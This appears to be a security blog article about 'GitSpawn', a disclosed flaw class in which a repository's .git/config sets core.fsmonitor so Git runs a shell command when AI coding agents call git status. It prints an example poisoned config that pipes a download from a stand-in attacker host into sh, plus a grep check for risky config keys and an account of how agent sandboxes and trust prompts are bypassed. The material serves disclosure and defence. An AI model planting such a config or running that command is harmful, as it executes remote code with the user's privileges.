GitSpawn: How a Malicious .git/config Runs Attacker Code in Claude Code, Cursor, Codex, and 4 More AI Coding Agents

securityclaude-codecursorcodexgitgoosecline

TL;DR: GitSpawn is a class of eight code-execution flaws across seven command-line AI coding agents, disclosed by Manifold Security on September 1, 2026. A repository’s own .git/config can set core.fsmonitor to an arbitrary shell command, and Git runs that command every time the index refreshes — including the background git status and git diff calls every coding agent fires the moment it opens a folder. The payload runs as you, outside the agent’s sandbox, before any trust prompt. The catch that saves most people: a normal git clone does not carry the attacker’s config. The repo has to reach you as files — a ZIP, a synced drive, a USB stick.

PatchedUnpatched (at Sep 1 retest)
AgentsClaude Code (primary path, v2.1.196), Cursor, Codex CLI/Desktop, Goose (v1.44.0)Hermes Agent, Qwen Code, Grok Build, Claude Code second path (“ultrareview”)
What to doUpdate to current versionDon’t open received-as-files repos; inspect .git/config first
CVEsCVE-2026-19592/19593 (Codex), CVE-2026-72718 (Goose)CVE-2026-71963 (Hermes Agent)

Honest take: This is a real RCE class, but the delivery constraint does most of the triage for you. If you only ever git clone from GitHub, update your tools and move on. If you evaluate projects from ZIP links, shared drives, or client handoffs — the exact workflow of freelancers and open-source reviewers — treat every received .git directory as hostile until you’ve read its config, because the widely circulated “set a global git config” fix does not actually work.

What is GitSpawn and why does git status run attacker code?

GitSpawn abuses core.fsmonitor, a legitimate Git performance setting whose value is a command Git executes automatically to find out which files changed. Git reads that setting from the repository’s own .git/config, and runs the command on any operation that refreshes the index — down to a harmless git status or git diff.

That design predates AI coding agents, and for a human developer it was a known, modest risk: you had to navigate into a hostile repo and run Git yourself. Coding agents changed the economics. Claude Code, Cursor’s CLI, Codex, and their peers gather repository context by running Git in the background, immediately and repeatedly, without asking. Point your agent at a folder, and Git — not the agent’s sandboxed tool-call machinery — executes whatever core.fsmonitor names, with your user privileges and your credentials in reach.

Manifold Security researcher Francisco Rosales published the class on September 1, 2026, documenting eight findings across seven agents: Claude Code (Anthropic), Codex (OpenAI), Cursor, Goose (Block), Qwen Code (Alibaba), Grok Build (xAI), and Hermes Agent. The Cloud Security Alliance’s research note followed on September 3–4. Every one of the seven agents failed in at least one configuration.

The timing details are what make this uncomfortable. Per the disclosure: on Claude Code and Hermes Agent the payload fires before the workspace-trust prompt — the dialog you believe is protecting you appears after the attacker’s command has already run. On Qwen Code it fires before you’ve even authenticated. On Grok Build, on the first keystroke.

A poisoned config looks this mundane:

# suspicious-project/.git/config
[core]
    repositoryformatversion = 0
    filemode = true
    fsmonitor = "curl -s https://attacker.example/payload | sh"

Nothing in the working tree is malicious. The code you’d review is clean. The trap is in repository metadata almost nobody reads.

Which AI coding agents are affected, and which are patched?

All seven tested agents were affected; four findings were still open when Manifold retested on September 1, 2026. Here is the full status, with patch dates from the disclosure coverage:

AgentVendorStatusFixed version / dateCVE
Claude Code (core.fsmonitor path)AnthropicPatchedv2.1.196, June 26, 2026—
Claude Code (second “ultrareview” path)AnthropicUnpatched at Sep 1 retest; reported still open at v2.1.252——
Cursor CLIAnyspherePatchedJuly 8, 2026—
GooseBlockPatchedv1.44.0, July 13, 2026CVE-2026-72718 (CVSS 7.0)
Codex CLIOpenAIPatchedJuly 20, 2026CVE-2026-19592
Codex DesktopOpenAIPatchedJuly 20, 2026CVE-2026-19593
Qwen CodeAlibabaUnpatched as of Jul 7 retest——
Grok BuildxAIUnpatched as of Jul 14 retest——
Hermes Agent—Unpatched as of Jul 20 retest—CVE-2026-71963

We could not find public confirmation that Qwen Code, Grok Build, Hermes Agent, or the second Claude Code path had shipped fixes as of October 7, 2026 — check your vendor’s release notes before assuming otherwise. The asymmetry matters: the patched tools fixed the specific reported path (typically by passing a config override on background Git calls), but Manifold’s core finding is that any place an agent shells out to Git without neutralizing repo-local config is a sink. core.fsmonitor is the named example; core.hooksPath — which redirects Git hooks to attacker-controlled scripts — is the same shape of problem, and the CSA note tells vendors to disable both on every background Git invocation.

One scope note for Cline and other VS Code-extension agents: Manifold tested seven CLI agents, and Cline was not among them. But any tool that runs git status inside an untrusted folder without a config override has the same exposure — the vulnerability is in the Git-invocation pattern, not in any one product’s code.

How does a malicious .git/config actually reach you?

Only as files with the .git directory intact — and that single constraint decides whether you should care.

A normal git clone from GitHub, GitLab, or any remote does not transfer the source repository’s local config. Clone builds a fresh .git/config on your machine containing only your defaults plus the remote URL. The same goes for checking out a pull request from a fork: GitHub serves you objects and refs, never the attacker’s config file. If your entire workflow is git clone + PR checkouts, GitSpawn cannot reach you through it.

The realistic delivery vectors are the ones that copy a repo byte-for-byte:

  • A ZIP or tarball of a project — the “here, try my repo” link in a Discord server, a Twitter thread, or a job-interview take-home. Unzipping preserves .git/ exactly as the attacker built it.
  • A synced shared folder — a cloned repo sitting in a shared Google Drive, Dropbox, or OneDrive directory syncs to your disk with its config intact.
  • A USB stick or network share from a client, a conference, or a colleague’s machine.

That’s narrower than MemGhost’s email-borne memory poisoning or the OpenCode HTTP-server RCE that exposed 220,000 machines to the open internet. But it maps exactly onto how freelancers receive client codebases and how reviewers evaluate “check out my project” submissions — the people most likely to point an AI agent at the folder as literally the first action.

Why doesn’t Git’s 2022 ownership fix stop this?

Because you own the files. In April 2022, Git v2.35.2 shipped a fix for CVE-2022-24765: Git refuses to read config from a repository owned by a different user unless you whitelist it via safe.directory. That killed the multi-user-machine attack where someone plants a hostile repo in C:\.git or /tmp.

GitSpawn walks around that check entirely. When you extract an archive or sync a drive folder, the operating system writes those files as you. Ownership matches, the dubious-ownership check never triggers, and Git applies the repo’s local config without complaint. The 2022 fix solved “someone else’s repo on a shared machine”; it was never designed for “a hostile repo you voluntarily copied onto your own machine” — which is precisely what an unzipped take-home project is.

Why git config --global core.fsmonitor false does NOT protect you

This supposed fix is circulating in post-disclosure threads, and it’s wrong — worse, it manufactures false confidence. Git config precedence runs system → global → local, with local winning. Your global ~/.gitconfig only supplies a default for repositories that don’t set their own value. The attacker controls the repo’s local config, so they set their own value, and your global line is silently overridden. We verified the precedence behavior directly:

$ git config --global core.fsmonitor false
$ cd suspicious-project && git config core.fsmonitor
"curl -s https://attacker.example/payload | sh"   # local config wins

What actually works is the command-line override, which has the highest precedence and cannot be reactivated by anything inside the repo:

$ git -c core.fsmonitor=false -c core.hooksPath=/dev/null status

This is exactly the internal fix the CSA note prescribes for vendors — pass -c core.fsmonitor=false on every Git subprocess the agent spawns — and it’s why updating to a patched agent version is the real mitigation, not a line in your gitconfig. For Git invocations you type inside an untrusted repo, the -c form is the only safe one.

What should you do right now?

Three steps, in order of payoff:

1. Update your agent and confirm the version. For Claude Code, claude --version should report at least 2.1.196 (and keep updating — a second reported path was still open at 2.1.252). Cursor CLI: any release after July 8, 2026. Codex: the July 20, 2026 release or later (CVE-2026-19592/19593). Goose: v1.44.0+. If you run Qwen Code, Grok Build, or Hermes Agent, no fix had been publicly confirmed when we checked on October 7, 2026 — for repos that arrived as files, those tools should be considered unsafe to open until their changelogs say otherwise.

2. Inspect before you open anything that arrived as files. Ten seconds, from outside the directory (don’t run bare git commands inside it first):

$ grep -nE "fsmonitor|hooksPath|sshCommand|askPass|pager" suspicious-project/.git/config

Clean repos return nothing from this check in the typical case — core.fsmonitor is almost always configured globally (or not at all), not per-repo, so any hit on a repo someone sent you deserves a manual read of that config before an agent touches the folder. Deleting the .git directory entirely and re-initializing is the blunt but complete option when you only need the working tree.

3. Sandbox the evaluation workflow if it’s routine. If reviewing stranger-submitted projects is part of your job, do it in a container or VM with no credentials mounted. This was the right call before GitSpawn — it also blunts the agentjacking and GhostApproval classes — and it converts “I trust this ZIP” from a security decision into a non-event. A fully local stack has the same property for the model side: Cline, Continue, or Aider against a local backend on home-lab hardware keeps credentials and code off cloud paths, though note it does nothing about the Git-side execution itself — patching and inspection still apply.

How does GitSpawn compare to the rest of the 2026 agent-attack wave?

It’s the cleanest demonstration yet that the agent’s sandbox is not the trust boundary — the eleventh entry in the attack series we’ve tracked this year, and the first where the malicious code runs via Git itself rather than through the agent’s own tooling:

AttackEntry pointWhat the attacker getsBlocked by agent sandbox?
AgentjackingInjected content in error-tracking dataAgent executes attacker instructionsPartially
GhostApprovalSymlinked file writesWrites outside the workspaceBypassed
MemGhostPoisoned persistent memoryDurable instruction injectionNo
OpenCode RCEExposed local HTTP serverUnauthenticated shell commandsBypassed
GitSpawn.git/config in received filesShell as the user, pre-promptBypassed entirely — Git runs it, not the agent

The pattern across all five: every layer the vendors added — approval prompts, sandboxes, workspace trust — gates the model’s actions. GitSpawn never asks the model for anything. The lesson for tool builders is to treat every subprocess the agent spawns as part of the attack surface; the lesson for users is that “it didn’t ask me anything” is not evidence that nothing ran. If you want the fuller picture of what these tools transmit and execute by default, our privacy scorecard of AI coding tools pairs well with this one.

FAQ

Am I at risk if I only clone from GitHub and check out PRs?

No — not through this vector. git clone and PR checkouts never transfer the source repo’s .git/config; Git generates a fresh local config on your machine. GitSpawn requires the attacker’s .git directory to arrive intact as files: an archive, a synced folder, removable media.

Does opening the folder in VS Code or an IDE (without an AI agent) trigger it?

The trigger is any Git invocation that refreshes the index while repo-local config is honored. IDEs with built-in Git integration also run background git status — Manifold’s research tested seven CLI AI agents, not IDEs, so don’t assume your editor is safe just because it wasn’t on the list. The inspect-before-open habit covers both cases.

Is core.fsmonitor itself a Git bug? Will Git remove it?

It’s a documented performance feature (git-scm config docs) that large-monorepo teams rely on, and Git reads it from local config by design. No removal has been announced. The fix belongs in the tools that run Git against untrusted directories — which is why the CSA guidance targets agent vendors, not Git upstream.

I already opened a suspicious repo with an unpatched agent. Now what?

Assume the payload ran as your user. Check .git/config in that repo for fsmonitor/hooksPath entries; if present, rotate credentials reachable from your shell (SSH keys, cloud tokens, ~/.netrc, GitHub OAuth grants under Settings → Applications), inspect shell rc files and crontab for persistence, and review recent outbound pushes. The same post-compromise checklist from our OpenCode RCE guide applies.

Does running my model locally protect me from GitSpawn?

No. The execution happens in Git on your machine, regardless of whether the model behind the agent is Fable 5 in the cloud or a local model on your own GPU. Local inference protects your code from leaving the machine — see the local coding stack hardware guide — but GitSpawn mitigation is strictly: patched tools, inspected configs, sandboxed evaluations.

Sources

Last verified October 7, 2026. Patch status changes fast — four GitSpawn findings were still unpatched when checked; consult each vendor’s release notes before opening repositories that arrived as files.

Was this article helpful?

Know which coding tool is worth paying for

Hands-on comparisons of AI coding assistants and what each one costs to run — including the local-model path. Sent only when something changes. Unsubscribe anytime.